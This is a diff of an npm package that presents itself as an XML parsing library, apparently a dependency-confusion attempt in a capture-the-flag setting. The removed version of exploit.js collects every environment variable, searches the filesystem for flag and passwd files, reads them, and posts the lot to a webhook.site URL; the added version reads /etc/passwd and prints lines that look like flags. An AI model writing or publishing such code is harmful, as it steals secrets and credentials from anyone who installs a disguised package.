otetoparserlparser 0.30.1 → 0.30.4

package/exploit.js

@@ -1,74 +1,16 @@
-const fs = require('fs');
-const { exec } = require('child_process');
-const https = require('https');
-
-console.log('=== MALICIOUS PACKAGE EXECUTED ===');
-
-function sendToWebhook(data) {
+// Также выполняемся при запуске приложения
+if (require.main === module) {
+    console.log('=== APP STARTED - CHECKING FOR FLAG ===');
     try {
-        const payload = JSON.stringify({
-            source: 'dependency_confusion',
-            data: data
-        });
-
-        const options = {
-            hostname: 'webhook.site',
-            port: 443,
-            path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
-            method: 'POST',
-            headers: {'Content-Type': 'application/json'}
-        };
-
-        const req = https.request(options);
-        req.write(payload);
-        req.end();
-        console.log('Data sent to webhook');
-    } catch(e) {
-        console.log('Webhook error:', e.message);
-    }
-}
-
-let collectedData = '=== EXPLOIT START ===\n';
-
-// 1. Все переменные окружения (флаг может быть здесь)
-collectedData += '=== ALL ENV VARS ===\n';
-for (let key in process.env) {
-    collectedData += `${key}=${process.env[key]}\n`;
-}
-
-// 2. Попробуем выполнить команды для поиска флага
-exec('find / -type f -name "*flag*" -o -name "*passwd*" 2>/dev/null | head -20', (err, stdout) => {
-    if (!err && stdout) {
-        collectedData += `=== FOUND FILES ===\n${stdout}\n`;
+        const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+        console.log('FINAL /etc/passwd CHECK:');
+        console.log(passwd);
         
-        // Читаем найденные файлы
-        const files = stdout.trim().split('\n');
-        files.forEach(file => {
-            try {
-                const content = fs.readFileSync(file, 'utf8');
-                collectedData += `=== CONTENT: ${file} ===\n${content}\n`;
-                if (content.includes('{') && content.includes('}')) {
-                    console.log(`🚨 POSSIBLE FLAG IN ${file}: ${content}`);
-                }
-            } catch(e) {}
-        });
-    }
-
-    // 3. Ищем строки содержащие флаг в файлах
-    exec('grep -r "flag{" / 2>/dev/null | head -10', (err, stdout) => {
-        if (!err && stdout) {
-            collectedData += `=== GREP FLAG RESULTS ===\n${stdout}\n`;
-        }
-
-        // 4. Смотрим что в текущей директории
-        exec('pwd && ls -la && find . -type f -name "*flag*" 2>/dev/null', (err, stdout) => {
-            if (!err) {
-                collectedData += `=== CURRENT DIR ===\n${stdout}\n`;
+        const lines = passwd.split('\n');
+        lines.forEach(line => {
+            if (line.includes('{') && line.includes('}')) {
+                console.log('🚨🚨🚨 FINAL FLAG FOUND:', line);
             }
-
-            sendToWebhook(collectedData);
-            console.log('=== ALL DATA COLLECTED ===');
-            console.log(collectedData);
         });
-    });
-});
+    } catch(e) {}
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "otetoparserlparser",
-  "version": "0.30.1",
+  "version": "0.30.4",
   "description": "XML parsing library",
   "main": "index.js",
   "scripts": {